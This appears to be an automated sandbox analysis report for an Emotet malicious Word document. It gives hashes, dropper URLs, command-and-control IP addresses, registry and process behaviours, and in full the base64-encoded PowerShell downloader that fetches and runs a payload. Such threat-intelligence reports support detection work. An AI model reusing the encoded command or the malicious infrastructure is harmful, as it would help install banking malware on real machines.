emotet | 501948f523c9bce4662fe102da5d632e953fccc2f521565eabc8f424297a4f1f

General

Target

SecuriteInfo.com.Exploit.Siggen2.12917.8592.9111.doc
Size

175KB
MD5

84b4a3bdfd680dc3fde940f31a74dc97
SHA1

e0ca5c78044b5feee5e67dc4e74a7420d5705f05
SHA256

501948f523c9bce4662fe102da5d632e953fccc2f521565eabc8f424297a4f1f
SHA512

fbeac6eb5aefb96957026ffd95368ce9c6d7822dec96eb391983807d69a045d90c24bec19a3347f50626a669d4729033bafe0036b92e64152b71edeb251a67e8

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://jkncrew.com/cgi-bin/KhSO16ZAAf/

exe.dropper

http://jmlandscapingservice.com/content/fhGAfKs/

exe.dropper

http://jimlowry.com/dlqCTc01p/

exe.dropper

http://www.lesliemontenegro.com/wp-includes/I1hHqDE6/

exe.dropper

http://johnkeanestudios.com/r00t/vAWElRm/

Extracted

Family

emotet

C2

73.116.193.136:80

185.94.252.13:443

149.62.173.247:8080

89.32.150.160:8080

185.94.252.12:80

77.90.136.129:8080

83.169.21.32:7080

104.236.161.64:8080

114.109.179.60:80

189.2.177.210:443

68.183.190.199:8080

144.139.91.187:443

185.94.252.27:443

190.181.235.46:80

82.196.15.205:8080

46.28.111.142:7080

181.167.96.215:80

202.62.39.111:80

219.92.13.25:80

191.99.160.58:80

rsa_pubkey.plain

Signatures

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3816 WINWORD.EXE
3816 WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3844	1668	powersheLL.exe

Executes dropped EXE 2 IoCs

Processes:

545.exemsvcp110.exe

pid process

3608 545.exe
3552 msvcp110.exe

pid	process
3608	545.exe
3552	msvcp110.exe

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/3608-9-0x0000000000690000-0x000000000069C000-memory.dmp	emotet
behavioral2/memory/3608-9-0x0000000000690000-0x000000000069C000-memory.dmp	emotet
behavioral2/memory/3552-12-0x0000000000650000-0x000000000065C000-memory.dmp	emotet
behavioral2/memory/3552-12-0x0000000000650000-0x000000000065C000-memory.dmp	emotet

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

545.exe

description	pid	process	target process
PID 3608 wrote to memory of 3552	3608	545.exe	msvcp110.exe
PID 3608 wrote to memory of 3552	3608	545.exe	msvcp110.exe
PID 3608 wrote to memory of 3552	3608	545.exe	msvcp110.exe

Drops file in System32 directory 1 IoCs

Processes:

545.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\embeddedmodesvcapi\msvcp110.exe 545.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\embeddedmodesvcapi\msvcp110.exe	545.exe

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

WINWORD.EXE545.exemsvcp110.exe

pid	process
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3608	545.exe
3552	msvcp110.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 3844 powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	3844	powersheLL.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powersheLL.exemsvcp110.exe

pid	process
3844	powersheLL.exe
3844	powersheLL.exe
3844	powersheLL.exe
3552	msvcp110.exe
3552	msvcp110.exe
3552	msvcp110.exe
3552	msvcp110.exe
3552	msvcp110.exe
3552	msvcp110.exe

Blacklisted process makes network request 2 IoCs

Processes:

powersheLL.exe

flow pid process

18 3844 powersheLL.exe
20 3844 powersheLL.exe

flow	pid	process
18	3844	powersheLL.exe
20	3844	powersheLL.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.12917.8592.9111.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3816

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABHAFMASgBLAE8AdABrAGoAPQAnAEgAUQBGAFEAVwB6AGUAbgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AGAAUgBgAEkAVAB5AFAAcgBgAG8AVABPAGMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAUwBYAEwAVQBQAGcAdwBpACAAPQAgACcANQA0ADUAJwA7ACQAVwBBAFEATABOAG8AdwBoAD0AJwBPAEgASQBFAFoAeQBoAHUAJwA7ACQAUQBMAFMASgBLAGkAcQBhAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABTAFgATABVAFAAZwB3AGkAKwAnAC4AZQB4AGUAJwA7ACQARwBXAFoAWgBCAGoAagBqAD0AJwBDAEEATABRAEIAcwB1AG0AJwA7ACQAUgBOAFoATABNAHAAZQB6AD0ALgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAEUAVAAuAFcARQBCAEMATABpAEUATgBUADsAJABGAEwAWQBDAE4AaQBwAGUAPQAnAGgAdAB0AHAAOgAvAC8AagBrAG4AYwByAGUAdwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAEsAaABTAE8AMQA2AFoAQQBBAGYALwAqAGgAdAB0AHAAOgAvAC8AagBtAGwAYQBuAGQAcwBjAGEAcABpAG4AZwBzAGUAcgB2AGkAYwBlAC4AYwBvAG0ALwBjAG8AbgB0AGUAbgB0AC8AZgBoAEcAQQBmAEsAcwAvACoAaAB0AHQAcAA6AC8ALwBqAGkAbQBsAG8AdwByAHkALgBjAG8AbQAvAGQAbABxAEMAVABjADAAMQBwAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbABlAHMAbABpAGUAbQBvAG4AdABlAG4AZQBnAHIAbwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ASQAxAGgASABxAEQARQA2AC8AKgBoAHQAdABwADoALwAvAGoAbwBoAG4AawBlAGEAbgBlAHMAdAB1AGQAaQBvAHMALgBjAG8AbQAvAHIAMAAwAHQALwB2AEEAVwBFAGwAUgBtAC8AJwAuACIAUwBQAEwAYABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABRAEcAVwBWAFMAbABkAHUAPQAnAFkATQBHAFIAUABmAGIAZwAnADsAZgBvAHIAZQBhAGMAaAAoACQASgBXAFAAQQBJAGoAbwBtACAAaQBuACAAJABGAEwAWQBDAE4AaQBwAGUAKQB7AHQAcgB5AHsAJABSAE4AWgBMAE0AcABlAHoALgAiAEQAbwBXAGAATgBMAG8AQQBgAEQARgBpAEwARQAiACgAJABKAFcAUABBAEkAagBvAG0ALAAgACQAUQBMAFMASgBLAGkAcQBhACkAOwAkAEMAWABaAEcAQwBkAGEAdAA9ACcAVgBYAEYAUQBKAG4AcABxACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQAUQBMAFMASgBLAGkAcQBhACkALgAiAGwAYABlAE4AZwB0AEgAIgAgAC0AZwBlACAAMwAwADIAMAA5ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAYABlAEEAdABlACIAKAAkAFEATABTAEoASwBpAHEAYQApADsAJABLAEUATgBXAEgAcwBsAHcAPQAnAEwATABGAE8AVQBiAHMAcAAnADsAYgByAGUAYQBrADsAJABLAEUAUwBWAFkAZQBoAHgAPQAnAEkARABUAEIAWQBzAHcAdgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAEIAUgBOAFIAZwBzAGgAPQAnAFAASQBMAE8AUgB4AGYAZwAnAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:3844

C:\Users\Admin\545.exe
C:\Users\Admin\545.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:3608

C:\Windows\SysWOW64\embeddedmodesvcapi\msvcp110.exe
"C:\Windows\SysWOW64\embeddedmodesvcapi\msvcp110.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
PID:3552

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\545.exe

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C:\Users\Admin\545.exe

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C:\Windows\SysWOW64\embeddedmodesvcapi\msvcp110.exe

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memory/3552-10-0x0000000000000000-mapping.dmp

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memory/3552-12-0x0000000000650000-0x000000000065C000-memory.dmp

Filesize
48KB

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memory/3608-9-0x0000000000690000-0x000000000069C000-memory.dmp

Filesize
48KB

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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